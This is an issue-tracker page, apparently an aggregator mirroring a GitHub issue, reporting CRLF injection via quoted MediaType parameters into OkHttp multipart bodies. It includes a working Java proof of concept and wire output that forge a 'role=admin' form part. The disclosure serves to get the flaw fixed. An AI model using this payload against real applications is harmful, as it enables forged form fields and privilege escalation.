CRLF injection into multipart bodies via a quoted MediaType parameter
Maintainer thường phản hồi trong vòng 1 ngày
Chưa có ai nhận issue này.
- #9730 của @waterWang — đã đóng, không merge
Đánh giá
- Độ khó
- 2/5
- Thời gian dự kiến
- 1-3 giờ
- Mức phù hợp với người mới
- 45/100
Hướng nghiên cứu
Start in okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt, where the issue identifies the quoted-parameter regex and toString(), then trace how MultipartBody.writeOrCountBytes writes the content type. Run the relevant MediaType and multipart tests, adding coverage for CR/LF in quoted parameters. Done means such input is rejected and the multipart injection demonstrated in the issue cannot occur; a linked pull request is already present, so check its status before starting.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Mô tả
MediaType accepts CR and LF inside a quoted parameter, while MultipartBody writes that media type directly into the part header, so a content type taken from untrusted input can end the header block and append new multipart parts. The same exact string is rejected if it goes through the ordinary request-header path, so AFAICT, this is not intentional.
The regex for quoted parameters is in https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L94, which is problematic because the negated character class also matches CR and LF. toString() just returns the original string: https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MediaType.kt#L86.
MultipartBody.writeOrCountBytes then writes "Content-Type: " + contentType + CRLF:
https://github.com/lysine-dev/okhttp/blob/b830f03c8f161883e0213c22c170c3d1f5f5eaa6/okhttp/src/commonJvmAndroid/kotlin/okhttp3/MultipartBody.kt#L145-L150 with no validation in between.
A quick demo:
import okhttp3.Headers;
import okhttp3.MediaType;
import okhttp3.MultipartBody;
import okhttp3.RequestBody;
import okio.Buffer;
public class Poc36 {
public static void main(String[] args) throws Exception {
String attackerControlled =
"text/plain; charset=\"a\r\n"
+ "\r\n"
+ "injected part body\r\n"
+ "--BOUNDARY\r\n"
+ "Content-Disposition: form-data; name=role\r\n"
+ "\r\n"
+ "admin\r\n"
+ "--BOUNDARY--\r\n"
+ "\"";
MediaType mediaType = MediaType.parse(attackerControlled);
System.out.println("MediaType.parse accepted it : " + (mediaType != null));
try {
new Headers.Builder().add("Content-Type", mediaType.toString());
System.out.println("outer request header path : accepted");
} catch (IllegalArgumentException e) {
System.out.println("outer request header path : rejected (" + e.getMessage().split("\n")[0] + ")");
}
MultipartBody body = new MultipartBody.Builder("BOUNDARY")
.setType(MultipartBody.FORM)
.addFormDataPart("upload", "note.txt", RequestBody.create("original content".getBytes(), mediaType))
.build();
Buffer wire = new Buffer();
body.writeTo(wire);
System.out.println("\n--- bytes on the wire ---");
System.out.print(wire.readUtf8());
}
}
which results in:
MediaType.parse accepted it : true
outer request header path : rejected (Unexpected char 0x0d at 22 in Content-Type value: text/plain; charset="a)
--- bytes on the wire ---
--BOUNDARY
Content-Disposition: form-data; name="upload"; filename="note.txt"
Content-Type: text/plain; charset="a
injected part body
--BOUNDARY
Content-Disposition: form-data; name=role
admin
--BOUNDARY--
"
original content
--BOUNDARY--
So the injected/forged role=admin part is complete and well formed, and because the terminating boundary is now before the real content, the application's "real" partbody ends up in the end and gets dropped.
Looking around a bit, this seems to be the only place where CR and LF are not rejected, so the fix seems to be just to reject CR/LF in MediaType.
- Ngôn ngữ chính
- Kotlin
- Star
- 47.1k
- Fork
- 9.3k
- Merge trung bình
- 18 giờ 18 phút
- Pull request đã merge (30 ngày)
- 15
Chuẩn bị môi trường
Dự án này không cung cấp dev container, Dockerfile hay hướng dẫn đóng góp, nên bạn cần tự thiết lập môi trường: hãy bắt đầu từ README và xem hướng dẫn đóng góp lần đầu của chúng tôi để biết các bước chung.
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Issue khác của lysine-dev/okhttp
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 85/100
lysine-dev/okhttp#9788 ·
Maintainer thường phản hồi trong vòng 1 ngày
-
enhancement
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 68/100
lysine-dev/okhttp#9761 · 3 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
Remove crossinline `addInterceptor` and `addNetworkInterceptor` overloadsCó thể đã có người làm @Amir-Golmoradi đã nhận 7 ngày trước. Đang mởenhancement
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 58/100
lysine-dev/okhttp#9779 · 1 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
HTTP/2 Data padding is not counted toward the connection flow-control window. This deadlocks connections with peers that pad.Có thể đã có người làm @Amir-Golmoradi đã nhận 7 ngày trước. Đang mởbug
Độ khó 3/5 1-2 ngày Mức phù hợp với người mới 67/100
lysine-dev/okhttp#9772 · 6 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
-
bug
Độ khó 2/5 1-3 giờ Mức phù hợp với người mới 55/100
lysine-dev/okhttp#9760 · 3 bình luận ·
Maintainer thường phản hồi trong vòng 1 ngày
Tất cả issue của lysine-dev/okhttp
Issue tương tự
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 88/100
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 90/100
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 88/100
SLNE-Development/surf-chat#134 ·
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 88/100
-
Độ khó 1/5 Dưới một giờ Mức phù hợp với người mới 90/100